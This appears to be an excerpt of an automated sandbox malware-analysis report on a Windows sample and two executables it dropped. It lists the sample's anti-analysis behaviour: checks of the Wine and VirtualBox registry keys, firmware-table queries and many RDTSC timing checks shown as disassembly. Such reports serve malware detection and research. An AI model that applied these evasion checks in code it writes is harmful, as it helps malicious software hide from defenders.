Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\niwvNnBk2p.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\72QWSV0N4LEVXR18OCAY5450.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Q0DSEB9ODFQPXTS29CJ02.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 92837D second address: 928381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 928381 second address: 928387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: 928387 second address: 9283A2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5CACF3B8F2h 0x00000008 jmp 00007F5CACF3B8ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4DD6 second address: AA4DF4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5CACC3D916h 0x00000008 jnp 00007F5CACC3D916h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jp 00007F5CACC3D918h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4DF4 second address: AA4E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4E11 second address: AA4E1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9F733 second address: A9F739 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9F739 second address: A9F752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5CACC3D91Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9F752 second address: A9F756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: A9F756 second address: A9F788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D926h 0x00000007 jmp 00007F5CACC3D91Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F5CACC3D918h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4343 second address: AA4347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA44BA second address: AA44BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA45F4 second address: AA4617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F5CACF3B8EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F5CACF3B8EAh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4617 second address: AA4638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5CACC3D91Ah 0x00000009 jmp 00007F5CACC3D923h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4638 second address: AA4645 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5CACF3B8E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA4645 second address: AA464B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA464B second address: AA4657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5CACF3B8E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8574 second address: AA857E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5CACC3D916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA857E second address: AA859C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 11C703AAh 0x0000000f lea ebx, dword ptr [ebp+12454259h] 0x00000015 adc ch, 00000076h 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA859C second address: AA85A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5CACC3D916h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8615 second address: AA8659 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F5CACF3B8E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 clc 0x00000012 push 00000000h 0x00000014 jmp 00007F5CACF3B8EFh 0x00000019 push ebx 0x0000001a jmp 00007F5CACF3B8F0h 0x0000001f pop edi 0x00000020 call 00007F5CACF3B8E9h 0x00000025 push eax 0x00000026 push edx 0x00000027 push edi 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8659 second address: AA865F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA865F second address: AA8663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8663 second address: AA8667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8667 second address: AA8676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8676 second address: AA868A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jg 00007F5CACC3D929h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA868A second address: AA86A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA86A1 second address: AA873A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F5CACC3D924h 0x00000012 pop eax 0x00000013 jl 00007F5CACC3D919h 0x00000019 push 00000003h 0x0000001b jmp 00007F5CACC3D929h 0x00000020 push 00000000h 0x00000022 or si, 2321h 0x00000027 push 00000003h 0x00000029 call 00007F5CACC3D919h 0x0000002e push ecx 0x0000002f jp 00007F5CACC3D91Ch 0x00000035 pop ecx 0x00000036 push eax 0x00000037 jmp 00007F5CACC3D91Fh 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 pushad 0x00000041 js 00007F5CACC3D918h 0x00000047 pushad 0x00000048 popad 0x00000049 jnp 00007F5CACC3D91Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA873A second address: AA8773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jnl 00007F5CACF3B8F4h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 jmp 00007F5CACF3B8F6h 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AA8773 second address: AA8778 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7BE2 second address: AC7BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7BE8 second address: AC7BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7BF3 second address: AC7C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACF3B8F1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7D71 second address: AC7D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F5CACC3D916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7D83 second address: AC7D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7D87 second address: AC7D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F5CACC3D916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7D93 second address: AC7DB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 jnl 00007F5CACF3B8FAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7DB9 second address: AC7DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5CACC3D929h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC7DD8 second address: AC7DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5CACF3B8EDh 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC804D second address: AC8051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC8051 second address: AC806F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F5CACF3B8ECh 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC8322 second address: AC8329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC84B0 second address: AC84B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC85E1 second address: AC8601 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5CACC3D91Ah 0x0000000d jno 00007F5CACC3D91Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC877A second address: AC8797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC8A1C second address: AC8A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC8A22 second address: AC8A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5CACF3B8E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AC8A30 second address: AC8A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5CACC3D924h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F5CACC3D916h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ACFE81 second address: ACFE85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ACFE85 second address: ACFE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F5CACC3D916h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ACE512 second address: ACE529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD42F4 second address: AD42FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD42FA second address: AD4310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5CACF3B8EDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD4310 second address: AD4314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD4314 second address: AD431A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD431A second address: AD4335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D921h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F5CACC3D916h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD48B8 second address: AD48BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD7550 second address: AD75A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 add dword ptr [esp], 2C421691h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F5CACC3D918h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 mov di, cx 0x00000029 pushad 0x0000002a mov eax, 4759DFBFh 0x0000002f mov di, si 0x00000032 popad 0x00000033 push ADFF05FCh 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F5CACC3D925h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD7A11 second address: AD7A17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD808F second address: AD8093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD8093 second address: AD80C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F5CACF3B8E8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push eax 0x00000023 je 00007F5CACF3B8F0h 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD8610 second address: AD8614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD8BBA second address: AD8BDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F5CACF3B8E8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD8BDB second address: AD8BE5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5CACC3D91Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD9504 second address: AD9509 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADB462 second address: ADB466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AD9CE4 second address: AD9CEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADC4AF second address: ADC4B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADC55E second address: ADC562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADCF7B second address: ADCF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADD920 second address: ADD926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADD9B4 second address: ADD9D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACC3D929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADD9D1 second address: ADD9F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5CACF3B8F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jnc 00007F5CACF3B8E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADE431 second address: ADE47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F5CACC3D918h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D290Dh] 0x00000028 push 00000000h 0x0000002a mov esi, 2B908691h 0x0000002f push 00000000h 0x00000031 mov edi, 4BEA3D4Ah 0x00000036 or edi, 10B8A7B9h 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jg 00007F5CACC3D91Ch 0x00000045 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADE47E second address: ADE494 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5CACF3B8E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADE494 second address: ADE498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: ADE193 second address: ADE197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE09CF second address: AE09D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\niwvNnBk2p.exe	RDTSC instruction interceptor: First address: AE0F50 second address: AE0F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
